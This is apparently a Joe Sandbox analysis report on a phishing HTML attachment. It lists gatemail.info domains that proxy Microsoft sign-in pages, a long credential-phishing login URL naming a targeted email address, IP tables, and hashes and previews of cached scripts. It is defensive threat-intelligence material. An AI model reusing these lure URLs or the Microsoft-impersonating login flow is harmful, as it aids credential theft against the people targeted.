pkg/en/css/webfonts/segoeui-semibold-final

chromecache_253.1.dr false Avira URL Cloud: safe unknown

ceebb38e-fa3adaac.gatemail.info/ chromecache_251.1.dr false Avira URL Cloud: safe unknown

https://cbddd554-fa3adaac.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

fa114e4d-fa3adaac.gatemail.info chromecache_231.1.dr false Avira URL Cloud: safe unknown

github.gatemail.info/angular-ui/ui-select chromecache_196.1.dr false Avira URL Cloud: safe unknown

https://github.gatemail.info/mgonto/angular-
wizard

chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://7a057e27-fa3adaac.gatemail.info/ chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://81496c52-
fa3adaac.gatemail.info/admincenter/admin-
content/en/css/webfonts/fabmdl2.4.51.woff

chromecache_196.1.dr false Avira URL Cloud: safe unknown

eeccea68-fa3adaac.gatemail.info/LICENSE chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://36cb3aa6-fa3adaac.gatemail.info/search?
q=ponyfill.

chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://abd4990f-fa3adaac.gatemail.info/license chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://5a887bae-fa3adaac.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

URLs from Memory and Binaries
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https://github.gatemail.info/h5bp/html5-
boilerplate/blob/master/src/css/main.css

chromecache_196.1.dr false Avira URL Cloud: safe unknown

b02be1f1-fa3adaac.gatemail.info/position/ chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://github.gatemail.info/twbs/bootstrap/blob/master/
LICENSE)

chromecache_196.1.dr false Avira URL Cloud: safe unknown

https://23d5ddfe-fa3adaac.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

142.250.184.78 clients.l.google.com United States 15169 GOOGLEUS false

142.251.209.36 www.google.com United States 15169 GOOGLEUS false

239.255.255.250 unknown Reserved unknown unknown false

199.192.31.166 wwwms.gatemail.info United States 22612 NAMECHEAP-NETUS false

142.250.180.173 accounts.google.com United States 15169 GOOGLEUS false

IP

192.168.2.1

127.0.0.1

Joe Sandbox Version: 37.0.0 Beryl

Analysis ID: 829695

Start date and time: 2023-03-18 22:20:48 +01:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 6m 32s

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: defaultwindowshtmlcookbook.jbs

World Map of Contacted IPs

Public IPs

Private

General Information
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Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

17

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Sample file name: Encrypted Closing docs and Payoff statements.html

Detection: MAL

Classification: mal72.phis.winHTML@32/76@18/7

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .html
Browse: https://live.gatemail.info/oauth20_authorize.srf?response_type=code&amp;client_id=51483342-085c-4d86-bf88-cf50c7
252078&amp;scope=openid+profile+email+offline_access&amp;response_mode=form_post&amp;redir
ect_uri=https%3a%2f%2flmo.gatemail.info%2fcommon%2ffederation%2foauth2msa&amp;state=rQQIAR
AA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuASigxmrdtnPdlsffD83ZtUy
hVmMnPE5mWVglasYlQkbp3-BkfEFI-MkJvmipPzyPIfMvJTS4pKizESggrLU4pLc1LySYpDCW0yC_kXpninhxW6pKalFiSWZ-
XmPmAnpusAi8IqFx4DZioODS4BBgkGB4QcL4yJWoMtvX1svcUr6rv-y47rpx3xUGE6x6nt76pvnZ2f6peYUGoW4e5YU-
IUX5Fl4WkSGOVUWZWh7GZU4ertV6Ee5eOfbGlkZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgm3
n3cNPbfyffegAA0&amp;login_hint=rbown%40industrialinvestments.com&amp;estsfed=1&amp;uaid=7a
01535b3fba469baf53df6d5caaa620&amp;signup=1&amp;lw=1&amp;fl=easi2&amp;fci=https%3a%2f%2fb11b496a-
fa3adaac.gatemail.info.orgid.com

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (wh itelisted): 142.251.209.35, 34.104.35.123, 142.250.184.106, 142.250.180.170, 142.250.180.138, 142.251.209.10, 142.251.209.42, 216.58.209.42,
142.250.184.74, 142.250.184.67
Excluded domains from analysis (whitelisted): fs.microsoft.com, edgedl.me.gvt1.com, conten t-autofill.googleapis.com, update.googleapis.com, clientservices.googleapis.com
Not all processes where analyzed, report is missing behavior  information
Report size getting too big, t oo many NtWriteVirtualMemory calls found.

⊘ No simulations

⊘ No context

⊘ No context

⊘ No context

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs
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⊘ No context

⊘ No context

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: GIF image data, version 89a, 1 x 1

Category: dropped

Size (bytes): 813

Entropy (8bit): 0.3777162536454919

Encrypted: false

SSDEEP: 3:CUDu//tylaJqAlTlmhy:EX7JqAcy

MD5: DBC2B30ECD3CE2A7A8965E5B0A569DFF

SHA1: C32D2FFDBF66B5582C8C184E0C0B436048292807

SHA-256: 9397D5506D9BB44184A4BD44001382209441BD80D8C5FB4F3DFFDB1F966B7995

SHA-512: 496E07788F07A4F31E690E67367086FBAA934CFAEF0256F669B395ADF0EBF8C677D3775BEAB50F5100D178B67F51F5F2AAA7CE8B89EC5B93CAE6F3B2C21BFD
6F

Malicious: false

Reputation: moderate, very likely benign file

Preview: GIF89a..............................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
...........................................................................................................................................................................................................................................................!.......,..........
............;

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SVG Scalable Vector Graphics image

Category: downloaded

Size (bytes): 1864

Entropy (8bit): 5.222032823730197

Encrypted: false

SSDEEP: 48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B

MD5: BC3D32A696895F78C19DF6C717586A5D

SHA1: 9191CB156A30A3ED79C44C0A16C95159E8FF689D

SHA-256: 0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68

SHA-512: 8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64

Malicious: false

Reputation: moderate, very likely benign file

URL: https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 
1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1
351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 
1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 
1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" 
gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-col
or="#c4c4c4" stop-opacity="0"/></radialGradient><r

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.3271534249265295

Encrypted: false

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184
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SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1Aepxvqk+dQRcg6n:MMHdVBZWyUTqepxvQER6

MD5: B7DA4C5F264FBECC95E694DB6669FE60

SHA1: A7DCC868369A3747DB731E76FA8E5F618D52146A

SHA-256: 4783E85D22024A5E229FDC9BF53FB04AE3C9C015548C677E6B0A058D9472A0A5

SHA-512: 1E7F0B0FC3EA7FC67CFBA48098D5116A5A4D519DCD00FED829E1CF2F26A63D274F20D064266F093B9DA89D11C0028DD97239478DDE5EB0C0C64AA7FFAC0AA3
5B

Malicious: false

Reputation: low

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/home.js

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:e7f8f2c7-d01e-0060-1bdf-5
9b65e000000.Time:2023-03-18T21:22:41.5654548Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 226

Entropy (8bit): 5.307669310973378

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV1FViMg+8rXg6n:MMHdVBMHgWdzR05v7Qc6

MD5: 66BFD9EAAE42B87A6AED6C2CC5C3ABDE

SHA1: 33AFF45C33B5E75FF127E1D4DA0656CAEA9F87B5

SHA-256: 25A039FA77D8BCD2AEB093C4544BC94AB8B29D09C4250B821691C2D16C60268A

SHA-512: B22877B5316450109095AE8B228CC017CACD516197418BC8049D9928AED99CDF45688636299DCB6A6C23A66ADF56FB27AEED250725D0A7C5F1FBA08AD94251A
4

Malicious: false

Reputation: low

URL: https://81496c52-fa3adaac.gatemail.info/Images/list_bullet_5x5.gif

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:b73cf757-301e-0025-
0cdf-5963bd000000.Time:2023-03-18T21:22:50.2324249Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SVG Scalable Vector Graphics image

Category: downloaded

Size (bytes): 1592

Entropy (8bit): 4.205005284721148

Encrypted: false

SSDEEP: 48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh

MD5: 4E48046CE74F4B89D45037C90576BFAC

SHA1: 4A41B3B51ED787F7B33294202DA72220C7CD2C32

SHA-256: 8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93

SHA-512: B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE90
3CF

Malicious: false

Reputation: moderate, very likely benign file

URL: https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" wi
dth="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-
1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,
11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,
13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.7
16,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.
786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (61177)

Category: downloaded

Size (bytes): 110674

Entropy (8bit): 5.287118278126562

Encrypted: false

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187
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SSDEEP: 1536:QpHDgBvguhw+EViazA/PWrF7qvEAFiQcpmUSeCUzc6VUg8:xkty6VUz

MD5: 7719467F3F24C7500CC0CF15A60B8AEF

SHA1: 4FC7472CA314F434082C027748AC342AB4631847

SHA-256: F36BBD8A2B786B236385B37CADC7B1FDC2B1D6842E8A531DE09EEA723D94C6C4

SHA-512: F17DE567D161FA93621F09866711D4F83EB66C6DA8838311899926CFEF6FA09AE765C5B2AE782A43BAF36D819A41997673226A1123114EF7D4F8B046DB1CFB02

Malicious: false

URL: https://d16b5991-fa3adaac.gatemail.info/ests/2.1/content/cdnbundles/converged.v2.login.min_dxlgfz8kx1amwm8vpguk7w2.css

Preview: /*! Copyright (C) Microsoft Corporation. All rights reserved. *//*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file
is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third 
Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms 
for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//--------------------------
---------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twi
tter, Inc..Permission is hereby granted, free of charge, to any person

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (38677), with no line terminators

Category: downloaded

Size (bytes): 38677

Entropy (8bit): 5.2403199684773

Encrypted: false

SSDEEP: 768:mlxte81WzOZm5eiSPuAAjmFl9+pW4bg1WMG1yKyAIHo7lYSF5bsbMb8jssi1+:ix91WzZYiOuIl9+pW4b7IXSo

MD5: F0CCEF116CC550152B90DB0EA68D8FB0

SHA1: 1D813F3F06C36AA45AE76A8B5AAD50B24FCC460D

SHA-256: 811E2184ACAC6E3DC10851B5E1DDD6F431AB4FEFF39A4914EE487A961F7761DB

SHA-512: 2105C19E40EE71D0278832B430A9E208606AFE052F6C05A3CE53D5B2F31E114246853E836A971891F1EA9B7165EC08D63F9F4B516D141BC8E7DBC0073240F72A

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/hipcontrol.js

Preview: function HipChallenge(){this.LoadingTrials=3,this.CurrentLoadingAttempt=0,this.FailOverMessage='',this.ShouldShowMessageOnFailing=!0,this.IsActive=!1,this.IsUIL
ess=!1,this.IsChallengeLoading=!1,this.ChachedLoadingParams=!1,this.CachedLoadParam1=null,this.CachedLoadParam2=null,this.CachedLoadParam3=null,this.C
hallengeId='',this.Verified=!1,this.FailOverChallengeId="",this.LoadTimeOut=2e3,this.LoadTimeOutHandle=null,this.UILoaded=!1,this.PrerequisiteChallenge='',this.
ConnectionFailed=!1,this.ShowValidation=!1,this.Loaded=!1,this.DependantChallengeId='',this.GradedActionChallenge='',this.ShowErrorPanel=function(){},this.Deact
ivate=function(){},this.Activate=function(){},this.ShowConnectivityError=function(){},this.GetVerificationData=function(){this.NotImplementedException()},this.GetUserResp
onse=function(){this.NotImplementedException()},this.GetChallengeType=function(){},this.Show=function(){this.UILoaded=!0},this.Hide=function(){this.UILoaded=!1}
,this.Verify=function(){return!0},this.V

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text, with very long lines (65536), with no line terminators

Category: downloaded

Size (bytes): 691220

Entropy (8bit): 5.296882127371926

Encrypted: false

SSDEEP: 12288:7KWN27s+rue9v8E8m8t8E8E8M8m8UI8Ehv481usi:7KWN27Brue9v8E8m8t8E8E8M8m8UI8E8

MD5: 57919BBF521D64B430AB201053A47157

SHA1: 34A82BF3E5CD3ECB6ED62999E00DB29EE4875738

SHA-256: 80143E30711FB000631926F538052FFB420221697BDD8640116DC834450798C8

SHA-512: F88131EB96A24DAE4AF2A8930C8FF1D8F1ADC41F5CA1108B105FC83FF2E233CED0A741420EC7890247A0ECDDF4C4A7CA19499785A42A4F5CEC7B68E57FD019
3C

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/adminapp.js

Preview: Array.prototype.find||Object.defineProperty(Array.prototype,'find',{value:function(n){var i,u,f,t,r;if(this==null)throw new TypeError('"this" is null or not defined');if(i=Object(t
his),u=i.length>>>0,typeof n!='function')throw new TypeError('predicate must be a function');for(f=arguments[1],t=0;t<u;){if(r=i[t],n.call(f,r,t,i))return r;t++}return undefined},c
onfigurable:!0,writable:!0}),Object.entries||(Object.entries=function(n){for(var i=Object.keys(n),t=i.length,r=new Array(t);t--;)r[t]=[i[t],n[i[t]]];return r}),typeof Object.assign
!='function'&&Object.defineProperty(Object,"assign",{value:function(n){'use strict';;var f,r,i,u;if(n==null)throw new TypeError('Cannot convert undefined or null to objec
t');for(f=Object(n),r=1;r<arguments.length;r++)if(i=arguments[r],i!=null)for(u in i)Object.prototype.hasOwnProperty.call(i,u)&&(f[u]=i[u]);return f},writable:!0,configura
ble:!0}),String.prototype.startsWith||(String.prototype.startsWith=function(n,t){return this.substr(!t||t<0?0:+t,n.lengt

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 226

Entropy (8bit): 5.2864800977185125

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190
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Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV1EV6VM+o1Qg6n:MMHdVBMHgWdzR05/U16

MD5: 06FF1375E8426AC4B599CE7C920C9334

SHA1: 7ED67D9B1DA1BCC24555B022C1E152E3E22DFBF8

SHA-256: 237B8E9051BCC373CA55F5356A8947311F5C5BB71330E4DDA03C8A45BD72DD76

SHA-512: 2FDAF3520E5D07DDBA1D455994CC1FFE1366DDFB9CCB45FF460E7403340DC16A44579B55119AA753FFF0BBDAEEF59482DD9524E4B40F7462C9158AFAF832F8
65

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/Images/transparent.gif

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:1497082f-c01e-0021-
13df-59eeba000000.Time:2023-03-18T21:22:45.6181564Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.326403648841638

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1GS6xkDWcM0+WHsXg6n:MMHdVBZWyUTxNH16

MD5: 6B9B80A11FEEEC0B8E8C1BB705A52EE6

SHA1: 788AFC5232C752F74577D3354FBDE650E2A1B0CD

SHA-256: 027F6A4965100CA9C907AE2BA2232BFFA7F4B33EC0FD7922B875AF83C0DF41D9

SHA-512: 96B19DAD6963FBCA0B42BF9D52DD4E503722F8A215187D6D8A3967F0C06ADED06BF3C84905B01C42EDA48ED9AED0514C0A8312203E642D181CB57A9F69D35C
C9

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/home15.css

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:c14aaf8c-101e-0050-7edf-5
90891000000.Time:2023-03-18T21:22:15.3634613Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: downloaded

Size (bytes): 26951

Entropy (8bit): 4.514992390210281

Encrypted: false

SSDEEP: 384:jMgviMjM4if38GmhXeC1QRwweTkBE9wbOY4Jf/JhRZ5h+73hNVt8oC4veONhLYVi:CLEiJSdo11vIYHqb5Klo8v

MD5: B3D7A123BE5203A1A3F0F10233ED373F

SHA1: F4C61F321D8F79A805B356C6EC94090C0D96215C

SHA-256: EF9453F74B2617D43DCEF4242CF5845101FCFB57289C81BCEB20042B0023A192

SHA-512: A01BFE8546E59C8AF83280A795B3F56DFA23D556B992813A4EB70089E80621686C7B51EE87B3109502667CAF1F95CBCA074BF607E543A0390BF6F8BB3ECD992B

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/webuivalidation.js

Preview: var Page_ValidationVer = "125";..var Page_IsValid = true;..var Page_BlockSubmit = false;..var Page_InvalidControlToBeFocused = null;..var Page_TextTypes = /^(te
xt|password|file|search|tel|url|email|number|range|color|datetime|date|month|week|time|datetime-local)$/i;..function ValidatorUpdateDisplay(val) {..    if (typeof(val.display) 
== "string") {..        if (val.display == "None") {..            return;..        }..        if (val.display == "Dynamic") {..            val.style.display = val.isvalid ? "none" : "inline";..            
return;..        }..    }..    if ((navigator.userAgent.indexOf("Mac") > -1) &&..        (navigator.userAgent.indexOf("MSIE") > -1)) {..        val.style.display = "inline";..    }..    val
.style.visibility = val.isvalid ? "hidden" : "visible";..}..function ValidatorUpdateIsValid() {..    Page_IsValid = AllValidatorsValid(Page_Validators);..}..function AllValidatorsV
alid(validators) {..    if ((typeof(validators) != "undefined") && (validators != null)) {

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.273164562140954

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1Gm3o6RUJ3cM0+2FsUAg6n:MMHdVBZWyUTuyUJI6

MD5: F38C5221B4FEB935D62F1463B9AC22D2

SHA1: C4151A8674857B5BEF113EE8C0257EA26E1DDBA9

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 193
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SHA-256: 3928E4BDCA708C946AD6D30DE8BC62F91B8F4212B15346548DA5C80348CEC901

SHA-512: 2E9E4ABD8829A8D8E038E24BA4D2228EB8720596CDE9FF9242057353F1CA4B055DC42DF2321CB2FF4C7D6157B0C23B79B073B33F83EAE6F87B146B8507E1741
4

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/adoption.css

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:c14ab188-101e-0050-4adf-5
90891000000.Time:2023-03-18T21:22:16.1310220Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Entropy (8bit): 5.217177559360448

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8FWtkwgRTH10UGnJc+ci5g6n:MMHdVBKW/UT3Gnqd6

MD5: 4652E7580313955C61829E05CE487291

SHA1: 329C3BAAA73386948836688EA1DAB73AB3851AA3

SHA-256: D04949FCCA97D693A869238722A6C368BA2192BD7E9880F68BA855B5C07F3107

SHA-512: BF2453CA69D6271BF15ED881227712710D9B949C66CDAA08A917819441D7931246BE1CCB39E2C964B51A3878BAEA214AAC0FC0A406740C05E001938A11426383

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/images/scrollbar/arrow_staticdown_16.png

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:7b2edc01-101e-006f-
5edf-59c032000000.Time:2023-03-18T21:22:55.5546482Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text, with very long lines (875), with no line terminators

Category: downloaded

Size (bytes): 875

Entropy (8bit): 5.428198788928208

Encrypted: false

SSDEEP: 24:hlLTtmD0bHG8AGdHETdYqfPfDc4vHnWBM6ja:zxmDiGdzlfP7Dv1r

MD5: 45ACD6AC8D409286EC36A333D0DDDBDE

SHA1: 0812EFC65201C9D7F5F281F9F1017292E39EF78E

SHA-256: 3A4F1C0E8490998CCE1ADC70FF60ADEF66F9B10FC353266E6AFBFD5ABC0DFD51

SHA-512: 79CD7CFDC7C47B4B65045B1273B06BDE1CE0F3FFE6DAF7EE171092B94D498E3B7E1E3B4F4483A054662E84F85895E23972EB94E99BC2A0FD246BB00FAF72AE
15

Malicious: false

URL: https://wwwofc.gatemail.info/prefetch/prefetch

Preview: <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'><html xmlns='http://www.w3.or
g/1999/xhtml'><head><meta content='text/html; charset=utf-8' http-equiv='content-type'/><style type='text/css'>body { font-family:Arial; margin-left:40px; }img  { border:0 
none; }#content { margin-left: auto; margin-right: auto }#message h2 { font-size: 20px; font-weight: normal; color: #000000; margin: 34px 0px 0px 0px }#message p  { font-
size: 13px; color: #000000; margin: 7px 0px 0px 0px }#errorref { font-size: 11px; color: #737373; margin-top: 41px }</style><title>Microsoft</title></head><body><div id
='content'><div id='message'><h2>The request is blocked.</h2></div><div id='errorref'><span>Ref A: E9C9F4DE070D4FA88AC50F4674E0EE79 Ref B: LAX31100011
3029 Ref C: 2023-03-18T21:22:46Z</span></div></div></body></html>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Unicode text, UTF-8 text, with very long lines (65533), with no line terminators

Category: downloaded

Size (bytes): 1314844

Entropy (8bit): 5.192638212152386

Encrypted: false

SSDEEP: 6144:mZ18TNwHUqPb4QOv3AZ4x8PIQpIhDe6RaHc4Rqt/6QYlED7PWMtyJk7eOMTz8I:/TGPNZ7IWy/6QYg6Mt5eOMTz8I

MD5: 4156F4A87ABA06B846D3913329024514

SHA1: C153A825FE380E7066BA6549677D9F9B6ECD4D33

SHA-256: A18C2F4F14EDF8B72A4D097BB12C94C0DEBA54337A3D45D8B1BD7F2286334794

SHA-512: 0174E750FC9A8D99871F9EA7E87C9C7AD986FE06379810E04D5B93A894C4A035CF38B734E70815144499312D3ACCDFC7B90BF2E11F378BA294D835E2F6AF071F

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/admin/css/admin.css

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196
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Preview: .fake{color:red}.k-reset{margin:0;padding:0;border:0;outline:0;text-decoration:none;font-size:100%;list-style:none}.k-floatwrap:after,.k-slider-items:after,.k-grid-toolba
r:after{content:"";display:block;clear:both;visibility:hidden;height:0;overflow:hidden}.k-floatwrap,.k-slider-items,.k-grid-toolbar{display:inline-block}.k-floatwrap,.k-slider-item
s,.k-grid-toolbar{display:block}.k-block,.k-button,.k-header,.k-grid-header,.k-toolbar,.k-grouping-header,.k-tooltip,.k-pager-wrap,.k-tabstrip-items .k-item,.k-link.k-state-
hover,.k-textbox,.k-textbox:hover,.k-autocomplete,.k-dropdown-wrap,.k-picker-wrap,.k-numeric-wrap,.k-autocomplete.k-state-hover,.k-dropdown-wrap.k-state-hover,.k-
picker-wrap.k-state-hover,.k-numeric-wrap.k-state-hover,.k-draghandle{background-repeat:repeat;background-position:0 center}.k-link:hover{text-decoration:none}.k-state-
highlight>.k-link{color:inherit}.k-textbox>input,.k-input[type="text"],.k-input[type="number"],.k-textbox,.k-picker-wrap .k-input,.k-button{font-si

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (64602)

Category: downloaded

Size (bytes): 113611

Entropy (8bit): 5.492719743433889

Encrypted: false

SSDEEP: 1536:6KqGoeZ8gIRPY0+r5qnWisKU3pXbMuqL0Ca3gXYVWhXtWXN5AJ9:qzgDTMnWYSrF53gXvF8XbI9

MD5: CDEEF61A077EB0CEF434979513099121

SHA1: 39715BA832DC4C7BE49B54139C798C7143A2E9DD

SHA-256: 43693CCCB6683CE2A7F36D81F829346F48DF090F3CFAED2B0D354CDD656FC92D

SHA-512: 5ECBE7FF0CB51BE4FEDA344C97C76D5532E2B806A6FE3532BF0A5EB6F6DED3381C8ADEB87EC35318D1D278D66A4D79191EF36B6045E710118E9BFAC37D180
54D

Malicious: false

URL: https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_c0f2645501c8b52bd96c.js

